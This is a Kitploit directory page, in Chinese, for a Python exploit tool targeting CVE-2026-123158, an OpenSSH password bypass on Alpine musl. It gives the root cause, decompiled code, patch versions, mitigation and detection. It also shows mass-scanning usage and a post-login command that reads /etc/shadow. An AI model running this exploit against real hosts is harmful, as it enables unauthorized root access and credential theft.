Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-123158_SSHole — 一个利用 CVE-2026-123158 的 Python PoC,该漏洞是 Alpine musl 系统上 OpenSSH 密码认证绕过漏洞,具备自动扫描、前置条件检查以及登录后命令执行功能。 | Kitploit
工具/GitHubGitHub/gabrielunknown/cve-2026-123158_sshole
漏洞分析漏洞利用逆向工程网络安全渗透测试二进制分析身份验证远程访问工具
GitHub
gabrielunknown/cve-2026-123158_sshole

CVE-2026-123158_SSHole

一个利用 CVE-2026-123158 的 Python PoC,该漏洞是 Alpine musl 系统上 OpenSSH 密码认证绕过漏洞,具备自动扫描、前置条件检查以及登录后命令执行功能。

查看仓库
10514天前尚未审核
分享

CVE-2026-123158 — “SSHole”

Alpine Linux(musl libc)上的 OpenSSH 密码认证绕过
CVSS 3.1:8.1(高危) · CWE-394 · 披露日期:2026-11-05
报告者:Özgün Kültekin(Wakefield)

法律免责声明
本仓库仅用于教育目的、安全研究以及在经授权且受控的环境中进行测试。在未获得系统所有者明确许可的情况下,将本材料用于攻击系统是违法且不道德的。对于在授权范围之外使用本内容所导致的任何滥用、损害或法律后果,作者概不承担责任。


摘要

当攻击者发送长度超过 256 字节的密码时,Alpine Linux 上的 sshd 会对未配置密码的账户(shadow 中为 *)接受密码认证。无需任何前置权限——能够通过网络访问 SSH 端口即可。


根本原因

该漏洞源于三个相互独立的设计决策之间的相互作用:

┌──────────────────────────────────────────────────────────┐
│ 1. musl libc — crypt() returns "*" on failure           │
│    (glibc returns NULL; no ambiguity)                    │
│                                                           │
│ 2. musl SHA-512 — KEY_MAX = 256 bytes                   │
│    password > 256B → crypt() fails → returns "*"         │
│                                                           │
│ 3. OpenSSH (CVE-2016-6210 patch) — anti-enumeration     │
│    sshd ALWAYS calls crypt() even for no-password accts  │
│    using a salt "borrowed" from another account           │
│                                                           │
│ RESULT:                                                   │
│   crypt("A"×300, real_salt) → "*"   ← musl failure      │
│   strcmp("*", "*")          → 0     ← no-password acct  │
│   LOGIN ACCEPTED                                          │
└──────────────────────────────────────────────────────────┘

机制:为何需要两次尝试

这是一个未在公开 CVE 来源中记录的关键细节。

Alpine 的 sshd 在 xcrypt.c 中使用 pick_salt(),并带有一个静态缓存(salt_0)。该绕过需要在同一条 SSH 连接内恰好进行两次尝试:

尝试pick_salt()pw_password 状态crypt()结果
第 1 次运行 getpwent/getspnam 循环 → 覆盖 musl 静态缓冲区已损坏(指向另一账户的数据)"*"strcmp("*", <corrupted>) → 失败
第 2 次缓存 salt_0 != '\0' → 立即返回,不调用 getspnam()有效:仍为目标账户的 "*""*"strcmp("*", "*") == 0 → 成功

musl 缓冲区别名: getspnam() 对所有调用使用同一个全局静态缓冲区。在第 1 次尝试中,pick_salt() 调用 getspnam("hashuser") 以获取 salt,覆盖了 pw_password 所指向的缓冲区(该缓冲区来自 getspnam("victim"))。在第 2 次尝试中,循环被跳过——缓冲区未被触碰 → 漏洞利用成功。

该漏洞利用直接使用 paramiko.Transport,在同一条 SSH 连接内执行两次尝试。


二进制分析(Ghidra / REA)

二进制文件:sshd-session(ELF x86_64,OpenSSH 9.9p2,Alpine 3.21,带调试符号)

函数映射

函数地址作用
sys_auth_passwd0x10f2e0主入口——存在漏洞的条件
xcrypt0x1a7720pick_salt 在此处被内联(原为 static)
shadow_pw0x1a7700调用 getspnam()——缓冲区别名

pick_salt 没有独立的符号;编译器将其内联到了 xcrypt 内部。

sys_auth_passwd——存在漏洞的条件

// victim has shadow "*" → pw_password = "*"
char *pw_password = shadow_pw(pw);

// GATE: pw_password[1] == '\0'  ← for "*" (len=1) → condition FALSE
// salt stays NULL → xcrypt() calls pick_salt()
if (authctxt->valid && pw_password[0] && pw_password[1])
    salt = pw_password;   // NOT executed
else
    salt = NULL;          // vulnerable path

encrypted_password = xcrypt(password, salt);
return strcmp(encrypted_password, pw_password) == 0;  // strcmp("*","*") → LOGIN ACCEPTED

xcrypt — 静态缓存 salt_0

if (salt == NULL) {
    if (salt_0 == '\0') {           // 1st call: populate cache
        setpwent();
        do {
            pw    = getpwent();
            pcVar1 = shadow_pw(pw); // getspnam() → overwrites musl static buffer!
        } while (*pcVar1 != '$');
        strlcpy(&salt_0, pcVar1, len);
        explicit_bzero(pcVar1, strlen(pcVar1));
        endpwent();
    }
    // 2nd call: salt_0 != '\0' → skips loop, no getspnam()
    salt = &salt_0;
}
return crypt(password, salt);       // musl: len > 256 → returns "*"

利用条件

条件Alpine 默认值
PasswordAuthentication yes是(默认)
UsePAM no(无 PAM)是(默认,未安装 PAM)
目标账户在 shadow 中为 *是(自 Alpine 3.16 起为 root;仅密钥账户)
至少有一个其他账户使用 $5$/$6$ 哈希pick_salt() 所需

不受影响: glibc 系统(Debian/Ubuntu/RHEL)、UsePAM yes、PasswordAuthentication no,或 shadow 中为 !(锁定账户)。

shadow 中为 * 的账户——实际普遍程度

账户场景
root自 3.16 起为 Alpine 默认(仅密钥登录)
alpineCloud-init 默认用户(AWS、GCP、Hetzner)
ec2-user基于 Alpine 的 Amazon Linux AMI
nobody、nginx、postgres由包管理器创建,无密码

密码长度边界

≤ 256 bytes  → rejected  (crypt() works, returns real hash)
257–1024     → ACCEPTED   (crypt() fails at KEY_MAX, returns "*")
≥ 1025       → rejected  (OpenSSH MAX_PASSWORD_LEN = 1024)

受影响 / 已修补版本

Alpine 分支已修补版本
edge10.6_p2-r0
3.2410.3_p1-r2
3.2310.2_p1-r1
3.2210.0_p1-r11
3.219.9_p2-r1
3.209.7_p1-r6
3.199.6_p1-r3
3.189.3_p2-r4
< 3.16无可用补丁

上游修复: OpenSSH 10.6p2 — 当 shadow 字段少于 4 个字符时,auth-passwd.c 会拒绝匹配。


即时缓解措施

# Alpine — update openssh and restart daemon
apk upgrade -U -a
rc-service sshd restart   # mandatory — installing alone does not replace the running process

# Without updating — disable PasswordAuthentication
echo "PasswordAuthentication no" > /etc/ssh/sshd_config.d/disable-pw.conf
sshd -t && rc-service sshd restart

在禁用密码认证之前,请确认基于密钥的登录可以正常工作。


exploit.py — 用法

usage: exploit.py (--single IP | --list FILE) [--port N] [--user NAME]
                  [--auto] [--scan] [--check] [--workers N] [--output FILE]
                  [--cmd CMD] [--size N] [-v] [-h]

required:
  --single IP    Single target (e.g. 192.168.1.10)
  --list FILE    IP list file (one per line; supports IP:port)
  --port N       SSH port (default: 22)
  --user NAME    Target user (not required with --auto)

operation mode  (default: direct exploit):
  --auto         Test common accounts with '*' in shadow: root, alpine,
                 ec2-user, nobody, nginx, postgres
  --scan         Map the password size boundary (requires --user)
  --check        Check preconditions without exploiting (requires --user)

optional:
  --workers N    Parallel workers for --list (default: 1; recommended: <= 20)
  --output FILE  Save vulnerable results to .txt (append; skips non-vulnerable)
  --cmd CMD      Command to run after login (default: id)
  --size N       Oversized password length (default: 300; range: 257-1024)
  -v, --verbose  Verbose output with technical mechanism details
  -h, --help     Show this message and exit

examples:
  # auto-scan a single target (tests common accounts)
  python3 exploit.py --single 192.168.1.10 --port 22 --auto

  # auto-scan a target list, save vulnerable results
  python3 exploit.py --list targets.txt --auto --output vulnerable.txt

  # parallel scan over a list (10 workers)
  python3 exploit.py --list targets.txt --auto --workers 10 --output vulnerable.txt

  # direct exploit on a known user with a custom command
  python3 exploit.py --single 192.168.1.10 --port 22 --user root --cmd 'id && cat /etc/shadow'

  # map the password size boundary
  python3 exploit.py --single 192.168.1.10 --port 22 --user root --scan

  # check preconditions without exploiting
  python3 exploit.py --single 192.168.1.10 --port 22 --user root --check

targets.txt format:
  192.168.1.10          # uses global --port
  192.168.1.11:2222     # overrides port for this host
  # lines starting with # are ignored

检测

# Accepted logins in sshd logs
grep "Accepted password" /var/log/messages

# Accounts with '*' in shadow (bypass candidates)
awk -F: '$2 == "*" {print $1}' /etc/shadow

参考文献

  • Alpine Linux 安全公告
  • BleepingComputer
  • Security Boulevard
  • The Hacker News
  • 研究者页面
  • 上游 PoC(C/Rust)
下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    371
  • 4

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    336
  • 5

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    322

探索所有工具

浏览我们的工具集合

查看所有工具 →